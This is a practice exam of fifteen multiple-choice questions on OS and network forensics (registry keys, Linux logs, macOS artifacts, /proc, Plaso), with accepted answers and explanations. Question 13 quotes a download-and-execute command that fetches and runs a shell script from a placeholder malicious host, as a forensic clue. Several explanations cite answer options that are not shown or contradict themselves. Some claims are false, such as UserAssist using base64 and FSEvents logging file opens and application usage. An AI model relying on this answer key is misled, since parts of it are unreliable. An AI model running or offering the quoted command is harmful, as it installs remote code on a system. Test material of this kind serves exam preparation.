CHFI OS and Network Forensics Practice Test 1 — 15 Questions

Question 1

A forensic analyst recovers a USB device from a suspect's computer. Which Windows registry key should be examined to determine the first time the USB device was connected?

Accepted Answer

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR. The USBSTOR key under Enum in the SYSTEM hive stores detailed history of USB mass storage devices, including the first connection timestamp via the 'Properties' subkey (e.g., {83da6326-97a6-4088-9453-a1923f573b29} for first install date). This is the definitive location for determining the initial insertion time of a USB device in Windows forensics.

Answer

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USB

Answer

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\DeviceClasses\{53f56307-b6bf-11d0-94f2-00a0c91efb8b}

Answer

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2

Question 2

In Windows forensics, which artifact is used to track recently accessed files and folders via the 'Recent Items' feature?

Accepted Answer

LNK files. D is correct because LNK files (shortcut files) are the primary artifacts created by the Windows 'Recent Items' feature. When a user accesses a file or folder via the GUI (e.g., double-clicking), Windows automatically generates a corresponding .lnk file in the user's `%APPDATA%\Microsoft\Windows\Recent` directory, recording the target path, volume serial number, and timestamps. This makes LNK files the direct forensic evidence of recently accessed items through the Recent Items list.

Answer

Jump lists

Answer

ShellBags

Answer

Prefetch files

Question 3

Which of the following Windows registry keys is commonly used by malware to achieve persistence by executing a program at user logon?

Accepted Answer

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run. The HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run registry key is specifically designed to launch programs automatically when the current user logs on. Malware commonly writes a value pointing to its executable under this key to achieve user-level persistence without requiring administrative privileges, as it runs in the context of the logged-on user.

Answer

HKEY_LOCAL_MACHINE\SAM\SAM

Answer

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Answer

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services

Question 4

Which TWO Linux log files are MOST relevant for investigating authentication events and user login activity? (Choose TWO.)

Accepted Answer

/var/log/auth.log. Option D, /var/log/auth.log, is correct because on Debian-based Linux systems it is the dedicated log where the PAM subsystem and sshd record authentication events such as successful and failed logins, sudo usage, and su attempts. Option E, /var/log/syslog, is correct because it is the general system log that captures authentication and login-related messages forwarded by rsyslog (including authpriv entries on many distributions), making it a key source for correlating user login activity. The other options do not belong: /var/log/boot.log (A) only records messages from the system boot process, /var/log/dmesg (B) contains kernel ring buffer output about hardware and driver initialization, and /var/log/kern.log (C) holds kernel-level messages, none of which specifically document authentication or user login events.

Answer

/var/log/boot.log

Answer

/var/log/dmesg

Answer

/var/log/kern.log

Question 5

During a Windows forensic investigation, an analyst finds a registry key under NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count. What type of artifact is this, and what information does it typically contain?

Accepted Answer

UserAssist entries that record program execution history with counts and timestamps. The UserAssist key under NTUSER.DAT tracks GUI-based program launches via the Windows Explorer shell. It stores a Rot13-encoded or base64-encoded binary blob containing the executable path, a count of executions, and the last execution timestamp in a FILETIME format. This makes it a primary artifact for identifying user application usage history.

Answer

Jump list data from the taskbar showing recently opened files

Answer

Prefetch file metadata indicating application launch times

Answer

ShellBags data displaying folder view settings and sizes

Question 6

A forensic examiner needs to extract timeline data from a compromised Linux system for analysis with log2timeline/Plaso. Which of the following command sequences should be used?

Accepted Answer

log2timeline.py --partition /dev/sda1 timeline.plaso && psort.py -o l2tcsv timeline.plaso. Log2timeline/Plaso workflow requires first creating a Plaso storage file with log2timeline.py (processing /dev/sda1 as a partition), then exporting it to a timeline CSV with psort.py using the l2tcsv output module. This two-step process preserves the forensic integrity of the timeline data and allows for filtering before export.

Answer

bulk_extractor -o timeline.csv /dev/sda1

Answer

plaso.py -i /var/log -o timeline.csv

Answer

sleuthkit_timeline -m /mnt/evidence -d timeline.csv

Question 7

During a Mac OS X forensic investigation, an analyst wants to review user application usage and system events for the last week. Which artifact provides a centralized, binary log of these activities?

Accepted Answer

FSEvents files in /.fseventsd. FSEvents (File System Events) in /.fseventsd is a centralized, binary log that records all file system changes, including application usage and system events, on a per-volume basis. It provides a historical timeline of modifications (e.g., file creation, deletion, renaming) that can be parsed to reconstruct user activity over the last week, making it the correct artifact for this forensic review.

Answer

.plist files in ~/Library/Preferences

Answer

Unified logging (log stream)

Answer

Quick Look server logs

Question 8

In a Windows forensic investigation, the analyst wants to determine which USB devices were connected to the system, including the device serial number and first/last connection times. Which registry hive and key should be examined?

Accepted Answer

HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR. The USBSTOR key under HKLM\SYSTEM\CurrentControlSet\Enum contains a subkey for each USB mass storage device that has ever been connected to the system. Each subkey includes the device's serial number (as the subkey name) and, under the Properties subkey, the first connection timestamp (Property value 0064) and last connection timestamp (Property value 0065). This is the definitive forensic source for USB device history in Windows.

Answer

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Answer

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2

Answer

HKLM\SAM\SAM\Domains\Account\Users

Question 9

A security analyst needs to examine network traffic for signs of a data exfiltration attempt. Which tool is specifically designed for deep packet inspection and can reconstruct TCP streams?

Accepted Answer

Wireshark. Wireshark is the correct choice because it is specifically designed for deep packet inspection (DPI) and can reconstruct TCP streams by following the TCP sequence numbers and reassembling the application-layer data. This allows an analyst to view the full content of a data exfiltration attempt, such as an HTTP POST or FTP transfer, even if the packets are fragmented or out of order.

Answer

Tcpdump

Answer

Netstat

Answer

Nmap

Question 10

In network forensics, which type of log is BEST for identifying all outbound connections from internal hosts to external IP addresses on specific ports?

Accepted Answer

Firewall logs. Firewall logs are the best choice because they explicitly record the source IP, destination IP, destination port, and action (allow/deny) for every outbound connection attempt. Unlike other logs, firewall logs are specifically designed to enforce and log policy-based traffic filtering, making them the definitive source for identifying all outbound connections to external IPs on specific ports.

Answer

IDS logs

Answer

Proxy logs

Answer

NetFlow logs

Question 11

A forensic analyst is investigating a Windows system for persistence mechanisms. Which TWO registry locations are commonly used by malware to achieve auto-start? (Select TWO.)

Accepted Answer

HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Options D and E are correct because the Run keys under HKCU and HKLM are classic auto-start persistence locations: values placed in HKCU\Software\Microsoft\Windows\CurrentVersion\Run execute at user logon for that user, and values in HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run execute at logon for all users, making them heavily abused by malware. Option A is not the best answer here because HKLM\SYSTEM\CurrentControlSet\Services is primarily the service/driver configuration hive used for service-based persistence, which is a different mechanism than the Run-key auto-start the question targets. Option B is incorrect because HKLM\SAM\SAM stores local account and security data and is not an auto-start persistence location. Option C is incorrect because the Winlogon key is used for authentication-related settings such as Shell, Userinit, and Notify packages, not the standard Run-key auto-start mechanism asked about.

Answer

HKLM\SYSTEM\CurrentControlSet\Services

Answer

HKLM\SAM\SAM

Answer

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Question 12

Which TWO of the following artifacts are used for timeline analysis in digital forensics? (Select two.)

Accepted Answer

LNK files. LNK files (A) are correct because Windows shortcut files store target paths, volume serial numbers, and MAC (modified/accessed/created) timestamps that investigators use to place user activity on a timeline. Prefetch files (C) are correct because they record application execution times, run counts, and referenced file paths, providing execution timestamps for timeline reconstruction. HKLM\SYSTEM (B) is a registry hive holding system configuration and control sets, not a dedicated timeline artifact, and HKLM\SAM (D) stores local account and credential data, so neither is primarily used for timeline analysis. Windows Event Logs (E) are relevant to timeline analysis but were not marked as correct in this question, so they are excluded from the two required answers.

Answer

HKLM\SYSTEM

Answer

HKLM\SAM

Answer

Windows Event Logs

Question 13

During a forensic investigation of a compromised Linux server, the investigator examines the bash_history file of the root user. She finds the command: wget http://malicious.site/shell.sh && chmod +x shell.sh && ./shell.sh. What is the MOST likely intent of this command sequence?

Accepted Answer

Download and execute a web shell for persistent remote access. The command sequence downloads a shell script from a remote server using wget, makes it executable with chmod +x, and then executes it. This is a classic technique for deploying a web shell or backdoor, which provides the attacker with persistent remote access to the compromised system.

Answer

Compile a kernel module

Answer

Update the system packages

Answer

Perform a system backup to a remote server

Question 14

A forensic investigator is examining a Mac system and wants to review recently accessed files and applications. Which macOS artifact is MOST useful for this purpose?

Accepted Answer

FSEvents (/.fseventsd). FSEvents (/.fseventsd) is the correct choice because it maintains a persistent, chronological record of file system changes on macOS, including file accesses and modifications. This artifact allows an investigator to reconstruct a timeline of recently accessed files and applications, as the FSEvents daemon logs events such as file opens, renames, and deletions at the volume level, making it the most direct source for this purpose.

Answer

bash_history

Answer

.plist files in ~/Library/Preferences/

Answer

Unified Logging (log stream)

Question 15

An incident responder is analyzing a Linux system and finds a suspicious process running as root. To determine the full command line and environment variables of the process with PID 1234, which file in the /proc filesystem should she examine?

Accepted Answer

/proc/1234/cmdline. /proc/1234/cmdline contains the full command line used to launch the process, including arguments, separated by null bytes. Although the question asks for both command line and environment variables, /proc/1234/cmdline provides the command line portion; the environment variables are stored in /proc/1234/environ, which is not among the options. Therefore, /proc/1234/cmdline is the best choice among the given options.

Answer

/proc/1234/status

Answer

/proc/1234/maps

Answer

/proc/1234/fd